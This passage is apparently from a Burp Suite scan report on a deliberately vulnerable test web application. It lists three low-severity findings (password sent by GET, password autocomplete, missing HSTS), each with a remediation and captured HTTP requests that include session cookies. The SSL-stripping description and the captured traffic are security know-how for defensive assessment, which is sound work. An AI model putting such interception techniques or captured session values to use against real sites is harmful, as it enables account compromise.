Some applications use the GET method to submit passwords, which are transmitted within the query string of the requested URL. Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing passwords into the URL increases the risk that they will be captured by an attacker.

Vulnerabilities that result in the disclosure of users' passwords can result in compromises that are extremely difficult to investigate due to obscured audit trails. Even if the application itself only handles non-sensitive information, exposing passwords puts users who have re-used their password elsewhere at risk.

Issue remediation

All forms submitting passwords should use the POST method. To achieve this, applications should specify the method attribute of the FORM tag as method="POST". It may also be necessary to modify the corresponding server-side form handler to ensure that submitted passwords are properly retrieved from the message body, rather than the URL.

Vulnerability classifications

Request 1

GET /index.php?page=user-info.php HTTP/1.1
Host: testapp.secsci-autopt
Cookie: PHPSESSID=npn8fmid6ep2b7dnmuonnv3qm5; showhints=1; username=test; uid=24
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://testapp.secsci-autopt/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Mon, 04 Sep 2023 18:12:21 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/8.2.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
Logged-In-User: test
X-XSS-Protection: 0;
Strict-Transport-Security: max-age=0
Referrer-Policy: unsafe-url
Vary: Accept-Encoding
Content-Length: 56983
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head>
   <link rel="shortcut icon" href="./images/favicon.ico" type=
...[SNIP]...
</span>

<form    action="./index.php?page=user-info.php"
       method="GET"
       enctype="application/x-www-form-urlencoded"
       onsubmit="return onSubmitOfForm(this);"
>

   <input type="hidden" name="page" value="user-info.php" />
...[SNIP]...
<td>
               <input type="password" name="password" size="20"
                                   />

           </td>
...[SNIP]...
9. Password field with autocomplete enabled
Previous  Next

Summary

Severity:   Low
Confidence:   Certain
Host:   https://testapp.secsci-autopt
Path:   /index.php

Issue detail

The page contains a form with the following action URL:The form contains the following password field with autocomplete enabled:

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications that employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains control over the user's computer. Further, an attacker who finds a separate application vulnerability such as cross-site scripting may be able to exploit this to retrieve a user's browser-stored credentials.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

Please note that modern web browsers may ignore this directive. In spite of this there is a chance that not disabling autocomplete may cause problems obtaining PCI compliance.

Vulnerability classifications

Request 1

GET /index.php?page=user-info.php HTTP/1.1
Host: testapp.secsci-autopt
Cookie: PHPSESSID=npn8fmid6ep2b7dnmuonnv3qm5; showhints=1; username=test; uid=24
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://testapp.secsci-autopt/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Mon, 04 Sep 2023 18:12:21 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/8.2.0
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
Logged-In-User: test
X-XSS-Protection: 0;
Strict-Transport-Security: max-age=0
Referrer-Policy: unsafe-url
Vary: Accept-Encoding
Content-Length: 56983
Connection: close
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd">
<html>
<head>
   <link rel="shortcut icon" href="./images/favicon.ico" type=
...[SNIP]...
</span>

<form    action="./index.php?page=user-info.php"
       method="GET"
       enctype="application/x-www-form-urlencoded"
       onsubmit="return onSubmitOfForm(this);"
>

   <input type="hidden" name="page" value="user-info.php" />
...[SNIP]...
<td>
               <input type="password" name="password" size="20"
                                   />

           </td>
...[SNIP]...
10. Strict transport security not enforced
Previous

Summary

Severity:   Low
Confidence:   Certain
Host:   https://testapp.secsci-autopt
Path:   /

Issue detail

This issue was found in multiple locations under the reported path.

Issue background

The application fails to prevent users from connecting to it over unencrypted connections. An attacker able to modify a legitimate user's network traffic could bypass the application's use of SSL/TLS encryption, and use the application as a platform for attacks against its users. This attack is performed by rewriting HTTPS links as HTTP, so that if a targeted user follows a link to the site from an HTTP page, their browser never attempts to use an encrypted connection. The sslstrip tool automates this process.

To exploit this vulnerability, an attacker must be suitably positioned to intercept and modify the victim's network traffic.This scenario typically occurs when a client communicates with the server over an insecure connection such as public Wi-Fi, or a corporate or home network that is shared with a compromised computer. Common defenses such as switched networks are not sufficient to prevent this. An attacker situated in the user's ISP or the application's hosting infrastructure could also perform this attack. Note that an advanced adversary could potentially target any connection made over the Internet's core infrastructure.

Issue remediation

The application should instruct web browsers to only access the application using HTTPS. To do this, enable HTTP Strict Transport Security (HSTS) by adding a response header with the name 'Strict-Transport-Security' and the value 'max-age=expireTime', where expireTime is the time in seconds that browsers should remember that the site should only be accessed using HTTPS. Consider adding the 'includeSubDomains' flag if appropriate.

Note that because HSTS is a "trust on first use" (TOFU) protocol, a user who has never accessed the application will never have seen the HSTS header, and will therefore still be vulnerable to SSL stripping attacks. To mitigate this risk, you can optionally add the 'preload' flag to the HSTS header, and submit the domain for review by browser vendors.

References

Vulnerability classifications

Request 1

GET /javascript/inline-initializers/gritter-init.js HTTP/1.1
Host: testapp.secsci-autopt
Cookie: PHPSESSID=npn8fmid6ep2b7dnmuonnv3qm5; showhints=1; username=test; uid=24
Sec-Ch-Ua: "Chromium";v="111", "Not(A:Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Referer: https://testapp.secsci-autopt/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Response 1

HTTP/1.1 200 OK
Date: Mon, 04 Sep 2023 18:12:13 GMT
Server: Apache/2.4.54 (Debian)
Last-Modified: Sun, 25 Dec 2022 01:13:30 GMT
ETag: "5d0-5f09cba04e280-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 1488
Connection: close
Content-Type: application/javascript

$(function() {
   var l_message = "";
   var l_query_string = window.location.search;
   const l_url_params = new URLSearchParams(l_query_string);
   const l_status_code = l_url_params.get('popUpNotificationC
...[SNIP]...

Report generated by Burp Suite web vulnerability scanner v2023.2.3, at Mon Sep 04 14:45:22 EDT 2023.